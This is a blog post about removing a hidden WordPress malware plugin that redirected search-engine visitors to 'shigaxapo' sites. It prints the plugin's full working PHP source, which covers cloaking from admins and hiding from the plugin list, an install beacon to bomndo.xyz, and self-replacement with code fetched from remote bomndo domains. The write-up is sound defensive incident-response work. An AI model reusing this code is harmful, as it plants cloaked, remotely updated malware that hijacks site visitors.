When clicking on a website’s link from Google and visitor lands on the page, and if the visitor clicks on any link on that particular web page it auto redirects to URLs containing “shigaxapo”. But if the visitor is not from the search engine it doesn’t re-direct and behaves normally. Only visitors from search engines is redirected and other users are safe from this hacked process. In this article, I will discuss how I solved this malware.
Message I got from the client
From a client, I got a message “can you fix this problem? My website is redirecting visitors to another website, do you know why this is happening?” I hoped in quickly and replied to him “I need to analyze first because every website is different and not one solution fits all and hacking is a complicated procedure to fix”. The client agreed and allowed us to investigate the issue.
Formula to solve a problem
Note: from my past experience I have seen solving a problem or making a change or customization is requires 2 major step: 1) Analyzing the problem and finding a way to fix, it takes 80-90% of the time and 2) rest 10-15% is just actually making the change in codes or files physically.
Scenario:
I saw when I click results from Google and land on the site, and click link on the site it is re directing me to URLs containing “shigaxapo” but when I am on the site it is not re directing anymore, or if I visit the site directly as a visitor it is not re directing and as an admin when logged in it was also not redirecting.
My thoughts:
As it is redirecting to urls containing “shigaxapo”, I “inspect element” with Google Chrome and found nothing, and re direction cannot be done on WordPress by CSS or HTML it must be using javascript or php.
My steps:
So I downloaded the whole site files with Filezilla FTP and searched for the word “shigaxapo” with Notepad++ luckily I found a malware file that is not part of or any other authentic plugin by WordPress. The file was mplugin.php there I analyzed the PHP file and found codes and functions, algorithms to inject the site with such malware. From that php file, I got another file admin_ips.txt where admin ips are stored like this:
2.36.67.193
81.31.155.59
119.30.47.136
My Verdict:
Inside plugins folder it is injected/hacked, this is a plugin that hides itself and activates automatically. You can check from activated plugins that 1 extra plugin is activated but not visible from the wp-admin plugins list.
I deleted those files and ran multiple tests from different devices and re-directing problem was solved successfully. And the client was happy :D.
I will be attaching some codes or the file to make it clear. Leave a comment below if you have any questions or ask me anything.
Share this article if it helps.
If you need help regarding any WordPress/website issues, you can contact me.
Below is the code from file mplugin.php
<?php
/**
* Plugin Name: Monetization Code plugin
* Description: mplugin Shows cusom codes to display your ad codes.
* Author: aerin Singh
* Version: 1.0
*/
error_reporting(0);
ini_set('display_errors', 0);
$plugin_key='276be77f6692f898404fb9629f81db09';
$version='1.2';
add_action('admin_menu', function() {
add_options_page( 'mplugin Plugin', 'mplugin', 'manage_options', 'mplugin', 'mplugin_page' );
remove_submenu_page( 'options-general.php', 'mplugin' );
});
add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_mplugin');
function salcode_add_plugin_page_settings_mplugin( $links ) {
$links[] = '<a href="' .
admin_url( 'options-general.php?page=mplugin' ) .
'">' . __('Settings') . '</a>';
return $links;
}
add_action( 'admin_init', function() {
register_setting( 'mplugin-settings', 'default_mont_options' );
register_setting( 'mplugin-settings', 'ad_code' );
register_setting( 'mplugin-settings', 'hide_admin' );
register_setting( 'mplugin-settings', 'hide_logged_in' );
register_setting( 'mplugin-settings', 'display_ad' );
register_setting( 'mplugin-settings', 'search_engines' );
register_setting( 'mplugin-settings', 'auto_update' );
register_setting( 'mplugin-settings', 'ip_admin');
register_setting( 'mplugin-settings', 'cookies_admin' );
register_setting( 'mplugin-settings', 'logged_admin' );
register_setting( 'mplugin-settings', 'log_install' );
});
$ad_code='
<script>
(function(__htas){
var d = document,
s = d.createElement(\'script\'),
l = d.scripts[d.scripts.length - 1];
s.settings = __htas || {};
s.src = "\/\/shigaxapo.com\/c\/D.9D6\/bA2D5hlJSnWaQf9AN\/DsEP0\/MCTdgo2cN-i\/0\/0oM\/T\/Q\/xoOsDJYX3v";
l.parentNode.insertBefore(s, l);
})({})
</script>
';
$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';
function mplugin_page() {
?>
<div class="wrap">
<form action="options.php" method="post">
<?php
settings_fields( 'mplugin-settings' );
do_settings_sections( 'mplugin-settings' );
$ad_code='';
$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';
?>
<h2>mplugin Plugin</h2>
<table>
<tr>
<th>Ad Code</th>
<td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td>
</tr>
<tr>
<th>Hide ads to :</th>
<td>
<input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
<label>
<input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
</label>
<label>
<input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
</label>
<br/>
</td>
</tr>
<tr>
<th>Recognize admin by :</th>
<td>
<label>
<input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
</label>
<label>
<input type="checkbox" name="ip_admin" id="ip_admin" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
</label>
<label>
<input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
</label>
</td>
</tr>
<tr>
<th>Display ads to :</th>
<td>
<select name="display_ad">
<option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
<option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
</select>
</td>
</tr>
<tr>
<th>Search Engines</th>
<td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
comma separated </p>
</td>
</tr>
<tr>
<th>Auto Update :</th>
<td>
<label>
<input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
</label><br/>
</td>
</tr>
<tr>
<td><?php submit_button(); ?></td>
</tr>
</table>
</form>
</div>
<?php
}
/*************************log install***************************/
if(get_option('log_install') !=='1')
{
if(!$log_installed = @file_get_contents("http://www.bomndo.xyz/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
$log_installed = @file_get_contents_mplugin("http://www.bomndo.xyz/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
/*************************set default options***************************/
if(get_option('default_mont_options') !=='on')
{
update_option('ip_admin', $ip_admin);
update_option('ad_code', $ad_code);
update_option('cookies_admin', $cookies_admin);
update_option('logged_admin', $logged_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_logged_in', $hide_logged_in);
update_option('display_ad', $display_ad);
update_option('search_engines', $search_engines);
update_option('auto_update', $auto_update);
update_option('log_install', '1');
}
/************************************************************************/
include_once(ABSPATH . 'wp-includes/pluggable.php');
if ( ! function_exists( 'display_ad_single' ) ) {
function display_ad_single($content){
if(is_single())
{
$content=$content.get_option('ad_code');;
}
return $content;
}
function display_ad_footer(){
if(!is_single())
{
echo get_option('ad_code');
}
}
//setting cookies if admin logged in
function setting_admin_cookie() {
setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
}
if(get_option('cookies_admin')=='on')
{
if(is_user_logged_in())
{
add_action( 'init', 'setting_admin_cookie',1 );
}
}
//log admin IP addresses
$vis_ip=getVisIpAddr_mplugin();
if(get_option('ip_admin')=='on')
{
if(current_user_can('edit_others_pages'))
{
if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
{
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
}
if (stripos($ip, $vis_ip) === false)
{
$ip.=$vis_ip.'
';
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);
}
}
}// end if log admins ip
//add cookies to organic traffic
if(get_option('display_ad')=='organic')
{
$search_engines = explode(',', get_option('search_engines'));
$referer = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($search_engines as $search) {
if (strpos($referer,$search)!==false) {
setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
$organic=true;
}
}
}//end
//display ad
if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in())
{
$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
if (stripos($ips, $vis_ip) === false)
{
/*****/
if(get_option('display_ad')=='organic')
{
if($organic==true || isset($_COOKIE['organic']))
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');
}
}
else
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');
}
/****/
}
}
/*******************/
//update plugin
if(get_option('auto_update')=='on')
{
if( ini_get('allow_url_fopen') ) {
if (($new_version = @file_get_contents("http://www.bomndo.xyz/update.php") OR $new_version = @file_get_contents_mplugin("http://www.bomndo.xyz/update.php")) AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
elseif ($new_version = @file_get_contents("http://www.bomndo.com/update.php") AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
elseif ($new_version = @file_get_contents("http://www.bomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
}
else
{
if (($new_version = @file_get_contents("http://www.bomndo.xyz/update.php") OR $new_version = @file_get_contents_mplugin("http://www.bomndo.xyz/update.php")) AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
elseif ($new_version = @file_get_contents_mplugin("http://www.bomndo.com/update.php") AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
elseif ($new_version = @file_get_contents_mplugin("http://www.bomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
}
}
}
}//end if auto update
/*********************************/
}// if function exist
function file_get_contents_mplugin($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function hide_plugin_mplugin() {
global $wp_list_table;
$hidearr = array('mplugin.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
add_action('pre_current_active_plugins', 'hide_plugin_mplugin');
function getVisIpAddr_mplugin() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
}
else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
?>
